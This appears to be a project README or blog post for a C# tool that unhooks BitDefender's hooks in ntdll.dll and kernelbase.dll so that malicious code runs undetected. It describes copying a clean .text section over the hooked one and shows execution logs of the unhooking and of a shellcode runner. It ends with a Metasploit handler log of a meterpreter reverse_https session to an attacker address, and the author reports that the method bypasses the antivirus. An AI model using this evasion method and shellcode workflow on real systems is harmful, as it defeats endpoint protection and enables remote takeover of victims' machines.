A C# application that unhooks BitDefender from ntdll.dll and kernelbase.dll to help run malicious code undetected.
The code is quite long (particularly the native Win32 structs), and I'm sure it could be optimised.
This C# code is based upon one of the techniques demonstrated in the RED TEAM Operator: Windows Evasion Course from Sektor7, the original is written in C/C++. I would recommend any of the malware development courses, there is a lot of great stuff to learn about creating malware in C/C++.
When Windows creates a new process BitDefender injects the atcuf64.dll DLL into the process and hooks many of the ntdll.dll/kernelbase.dll functions. If, for example, NtCreateProcess is called by malicious code BitDefender is able to intercept the call, do it's anti-malware magic, then return execution to the thread (or kill the process if it is malicious).
The code maps another version of a DLL in memory, finds the .text section, and copies it over the hooked version.
The code has been updated so you can map and unhook any DLL in memory.
The following image shows the ZwCreateProcess function when BitDefender is not present:
The following image shows the ZwCreateProcess function when Bit Defender has hooked into ntdll.dll. We can see the jmp instruction (this is the hook):
And finally, this image shows the ZwCreateProcess function after being unhooked (the jmp instruction has been reverted back to the normal syscall):
Execution of the code is shown below:
[+] Mapping Ntdll...
[+] Unhooking Ntdll...
[+] Original Dll address is 0x7FFE23450000
[+] Mapped Dll address is 0x2396A520000
[+] Mapped Dll is a valid image.
[+] e_lfanew equals 0xE8
[+] NT_HEADERS address is 0x2396A5200E8
[+] Mapped Dll NT Headers is valid.
[+] Sections to enumerate is 10
[+] First section is .text
[+] First section is at 0x2396A5201F0
[+] Analysing section .text
[+] .text section is at 0x2396A5201F0
[+] VirtualProtect Dll to PAGE_EXECUTE_READWRITE...
[+] Unhooking Dll by copying mapped data...
[+] VirtualProtect Dll to PAGE_EXECUTE_WRITECOPY...
[+] Unmapping view of Dll...
[+] Mapping Kernelbase...
[+] Unhooking Kernelbase...
[+] Original Dll address is 0x7FFE20CB0000
[+] Mapped Dll address is 0x2396A520000
[+] Mapped Dll is a valid image.
[+] e_lfanew equals 0xF0
[+] NT_HEADERS address is 0x2396A5200F0
[+] Mapped Dll NT Headers is valid.
[+] Sections to enumerate is 7
[+] First section is .text
[+] First section is at 0x2396A5201F8
[+] Analysing section .text
[+] .text section is at 0x2396A5201F8
[+] VirtualProtect Dll to PAGE_EXECUTE_READWRITE...
[+] Unhooking Dll by copying mapped data...
[+] VirtualProtect Dll to PAGE_EXECUTE_WRITECOPY...
[+] Unmapping view of Dll...
[+] Shellcode runner...
[+] Decrypting payload...
[+] VirtualAlloc...
[+] RtlMoveMemory...
[+] VirtualProtect (PAGE_NOACCESS)...
[+] Sleeping...
[+] VirtualProtect (PAGE_EXECUTE_READ)...
[+] ResumeThread...
And the magical meterpreter session:
msf6 exploit(multi/handler) >
[*] Started HTTPS reverse handler on https://192.168.1.228:443
[*] https://192.168.1.228:443 handling request from 192.168.1.142; (UUID: dqyy0qcu) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 1 opened (192.168.1.228:443 -> 192.168.1.142:59384) at 2021-10-11 08:21:51 +010
I haven't tested the code with anything malicious yet to see if it bypasses BitDefender. I will post my findings when I do.
I tested this against Bit Defender with a very basic Virtualalloc, RtlMoveMemory, VirtualProtect, CreateThread classic combo (with an encrypted payload). Bit Defender didn't detect anything malicious on disk (with scanning) but did kill the process when CreateThread was called.
The code was updated to unhook any loaded DLL. Unhooking ntdll.dll and kernelbase.dll bypasses BitDefender in my tests.
Tested with windows/x64/meterpreter/reverse_https on Windows 10 Pro (build 10.0.19043) with BitDefender AntiVirus Free Edition.